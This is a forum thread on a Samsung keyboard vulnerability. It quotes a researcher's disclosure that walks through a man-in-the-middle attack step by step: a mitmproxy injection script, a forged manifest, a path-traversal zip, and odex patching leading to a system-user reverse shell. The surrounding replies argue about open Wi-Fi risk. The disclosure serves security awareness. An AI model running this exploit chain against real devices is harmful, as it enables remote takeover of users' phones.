Sign in to follow this  

Samsung dun messed up big.

Recommended Posts

This is really way less of a deal than it's made out to be.  First off, only four devices are affected.  Secondly, the hackers have to be on the same open public network as their victims.  Thirdly, they have to work through the SwiftKey SDK vulnerability.  


If you're like me, you don't join open public networks that you don't trust.  Problem solved, you're not at risk.  These networks can be more dangerous than simply using a SwiftKey vulnerability, like people having the ability to monitor your internet usage without you knowing.  That's way scarier IMO, with bank info, credit cards, etc.


Also, Samsung has addressed this vulnerability in one of those firmware updates that didn't augment the Android version, so only people who have not taken the latest updates are at risk.  This kind of thing is what those "pointless" Samsung updates are for.



edited title

Edited by BoгИX

Share this post

Link to post
Share on other sites

Please dont start threads with a link and minimal context.  Try to give us a little bit more info so I dont have to go to an external site to know whats up.






Remote Code Execution as System User on Samsung Phones



A remote attacker capable of controlling a user’s network traffic can manipulate the keyboard update mechanism on Samsung phones and execute code as a privileged (system) user on the target’s phone.

The Swift keyboard comes pre-installed on Samsung devices and cannot be disabled or uninstalled. Even when it is not used as the default keyboard, it can still be exploited.

We have published a webpage to help you find out if you are vulnerable, learn more about how the vulnerability might effect you, and discover ways to reduce your risk. Finally, proof of concept code is available here.


Further Reading:


How it Works

It’s unfortunate but typical for OEMs and carriers to preinstall third-party applications to a device. In some cases these applications are run from a privileged context. This is the case with the Swift keyboard on Samsung. Taking a look at the keyboard we see:

➜ /tmp aapt d badging SamsungIME.apk | head -3
package: name='' versionCode='4' versionName='4.0'
➜ /tmp shasum SamsungIME.apk
72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk
➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared
A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")

This means that the keyboard was signed with Samsung’s private signing key and runs in one of the most privileged contexts on the device, system user, which is a notch short of being root.


The attack vector for this vulnerability requires an attacker capable of modifying upstream traffic. The vulnerability is triggered automatically (no human interaction) on reboot as well as randomly when the application decides to update. This can include geographically proximate attacks such as rogue Wi-Fi access points or cellular base stations, or attacks from local users on a network, including ARP poisoning. Fully remote attacks are also feasible via DNS Hijacking, packet injection, a rogue router or ISP, etc.

The attack setup used for testing was a Linux VM running hostapd with a USB Wi-Fi Dongle. All http traffic was transparently redirected to mitmproxy, where a script generated and injected proper payloads.

Discovery of the Vulnerability

Swift has an update mechanism to allow new languages to be added or existing languages to be upgraded. When a user downloads an additional language pack, we can see the network request that is made:

← 200 application/zip 995.63kB 601ms

When the zip is downloaded it is extracted to/data/data/<languagePackAbbrev>/.

root@kltevzw:/data/data/ # ls -l
-rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1
-rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3
-rw------- system system 413 2015-06-11 15:16 charactermap.json
-rw------- system system 36 2015-06-11 15:16 extraData.json
-rw------- system system 55 2015-06-11 15:16 punctuation.json

We can see that the files in our .zip were written as system user. This is a very powerful user capable of writing many places on the file system. Since the application sends the zip file over plaintext, let’s attempt to modify it.

We can do this by setting a global Wi-Fi proxy and pointing our device at mitmproxy on our computer. Then we can write a quick script which feeds it our zip when the keyboard attempts to download:

def request(context, flow):
if not == "" or not flow.request.endswith(".zip"):

resp = HTTPResponse(
[1, 1], 200, "OK",
ODictCaseless([["Content-Type", "application/zip"]]),

with open('', 'r') as f:
payload =
resp.content = payload
resp.headers["Content-Length"] = [len(payload)]


Our payload is very simple, containing only one file:

➜ /tmp unzip -l
Length Date Time Name
-------- ---- ---- ----
6 06-11-15 15:33 test
-------- -------
6 1 file

After checking /data/data/<languagePackAbbrev> we notice that neither our language pack directory or test file exist. Bummer. The application must be validating these zips. After a bit more exploration, we notice a manifest was downloaded prior to the zip download which contains a listing of all the language packs, their url locator, and the SHA1 hash of the zip.

The request in mitmproxy :

>> GET
← 200 application/json 15.38kB 310ms

Let’s take a closer look at this manifest by piping it through jq to pretty print and colorize it:

➜ curl -s ''| jq '.[] | select(.name == "English (US)")'

The server responds back with a list of languages, their url locator and their SHA1 hash. An example server response (selecting only the English payload):

"name": "English (US)",
"language": "en",
"country": "US",
"sha1": "3b98ee695b3482bd8128e3bc505b427155aba032",
"version": 13,
"archive": "",
"live": {
"sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c",
"version": 1181,
"archive": ""

The SHA1 of the language pack upgrades we are downloading are validated based on the information in this manifest. This manifest is also sent insecurely. If we precompute the SHA1 of our payload and create our own manifest, we should be able to change these zip files arbitrarily. In addition, for our payload, let’s add a path traversal and attempt to write a file to /data/. Our payload looks as follows:

➜ samsung_keyboard_hax unzip -l
Length Date Time Name
--------- ---------- ----- ----
5 2014-08-22 18:52 ../../../../../../../../data/payload
--------- -------
5 1 file

After modifying the manifest appropriately, we check for our payload file and it exists!

➜ samsung_keyboard_hax adbx shell su -c "ls -l /data/payload"
-rw------- system system 5 2014-08-22 16:07 payload

File write to code execution

Now, we have an arbitrary file write as system user. Our goal is to turn this write primitive into code execution. The Swift keyboard itself has no executable code in its directory that we can overwrite, therefore we are going to have to look elsewhere.

After a .dex file is optimized, its cache gets stored in /data/dalvik-cache/. All of the files in dalvik-cache are owned by the user system. We want to look for files in dalvik-cache owned by group system, as this will give us all the dalvik-cache files that will execute as the system user.

root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000

Out of this list, we want to select a target component that is automatically invoked. Ideally, we can just clobber the whole odex file and replace only our target of interest. This is possible with the framework dalvik cache files available, but it might cause other pieces to break. Instead, let’s choose the DeviceTest (/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex) as our target.

After decompiling and viewing the manifest, we see that the app does indeed have sharedUserId=””. We also see a BroadcastReceiver defined in the manifest which responds to intents like BOOT_COMPLETED, enabling it to get fired automatically on device (re)boot.

<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="">
<receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver">
<action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
<data android:scheme="file" />
<action android:name="android.intent.action.PACKAGE_CHANGED" />
<data android:scheme="package" />
<action android:name="android.intent.action.PRE_BOOT_COMPLETED" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="com.sec.atd.request_reconnect" />
<action android:name="android.intent.action.CSC_MODEM_SETTING" />

We need to generate an odex file with code for a BroadcastReciever namedcom.sec.factory.entry.FactoryTestBroadcastReceiver. Our exploit source looks like:

➜cat | head

package com.sec.factory.entry;
import java.lang.Class;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class FactoryTestBroadcastReceiver extends BroadcastReceiver {
//Exploit code here

Once we have our payload created, we can compile it and run it through the DalvikExchange (dx) tool to get a .jar file which includes our dalvik bytecode. We need get our device to optimize our payload for us before can use it to overwrite the dalvik-cache target. We can push our jar to the device and generate the odex using the following:

ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar> com.sec.factory.entry.FactoryTestBroadcastReceiver

This will put our cache file in a directory that is readable by the shell user:

shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l
-rw-r--r-- shell shell 3024 2014-07-18 14:09 data@local@tmp@payload.jar@classes.dex

After injecting this payload into our languagepack zip, triggering the download, and rebooting, we see:

D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) ---
D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes
D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) ---
I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)

As part of the .ODEX header, it stores the CRC32 and modification time of the classes.dex from which it was generated. It does so according to the original APK’s Zip file table:

unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex
Archive: SM-G900V_KOT49H_DeviceTest.apk
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex
-------- ------- --- -------
643852 248479 61% 1 file

We need to pull these two bits of information from the zip file and patch our .odex payload to look like it was generated from the original DeviceTest.apk. Please note, the CRC32 and modification time were not meant as a security mechanism, but rather to know when the cache needs to be updated because of an application update.

Patching our .ODEX and retriggering the vulnerability, it executes our payload, which for testing purposes is a reverse shell.

nc 8889
uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0

A few caveats: the generated ODEX payload is specific to a particular model and version of Samsung device. This requires that a different ODEX be served to each device variant and version. However, Swift is kind enough to give us model version and build information in the http headers where they ask the server for the langaugePack update.

'User-Agent': 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900T Build/KOT49H)'


Unfortunately, the flawed keyboard app can’t be uninstalled or disabled. Also, it isn’t easy for the Samsung mobile device user to tell if the carrier has patched the problem with a software update. To reduce your risk, avoid insecure Wi-Fi networks, use a different mobile device and contact your carrier for patch information and timing.


It is a long read, sure, but just try to sum it up next time.  No biggie.

Share this post

Link to post
Share on other sites

I travel for a living, open hotel wifi is my way of life (can't roam with uscc). So I'm screwed?

I've disabled the Samsung keyboard through TB, but I also froze Knox (where the updated cert comes from supposedly) and am running kitkat. I can't find information on if I'm exposed, frustrating to see people say "don't worry about it, who would use an open wifi anyway..."

Sent from my SM-G900R4

Share this post

Link to post
Share on other sites

Most people use open wifi. I sure do. Often at that.


As for the exploit. Not that big of a deal. Your chances of being attacked is less than 0.001%. Basically 0%. Media is just making you fear life and devices. 

Share this post

Link to post
Share on other sites

I don't.

I'll never use free WiFi unless it's in my hotel room (which still required a PW) - but wide open networks... No.

You never know the skill level of the one who set it up. Did they do client isolation? Select only certain WLANs for the AP? Set up VLANs?

I feel like I know more than a LOT of the people who set these up (not all of them, just most of them) and I know how easy it is to snoop in other people's stuff over an unsecured AP.

If you're using a phone that's not easy to snoop around in, but a PC with network discovery on, yeah, you can snoop around in a lot of their files without them knowing it. Copy their stuff, and if they have any shared folders/drives you can delete everything they have - and again, they would never know it was you.

Sent from my Nexus 6

Share this post

Link to post
Share on other sites

As long as someone is browsing secured websites, 3rd party users can't see anything. People just love worrying about nothing. It's almost always user error. Around 99% of the time when someone gets "hacked". Y'all just love exaggerating. There's nothing wrong with open networks, despite what the media says. I've done everything you can imagine on open networks. Yet I'm still here? What's that about?

An open network is just the same as a secured network that everyone has the password to. Network discovery only works if the router allows such things. Even then, someone would have to have their computers setup to allow anyone to access their files. While many people do, much more don't allow this access.

Edited by na7q

Share this post

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this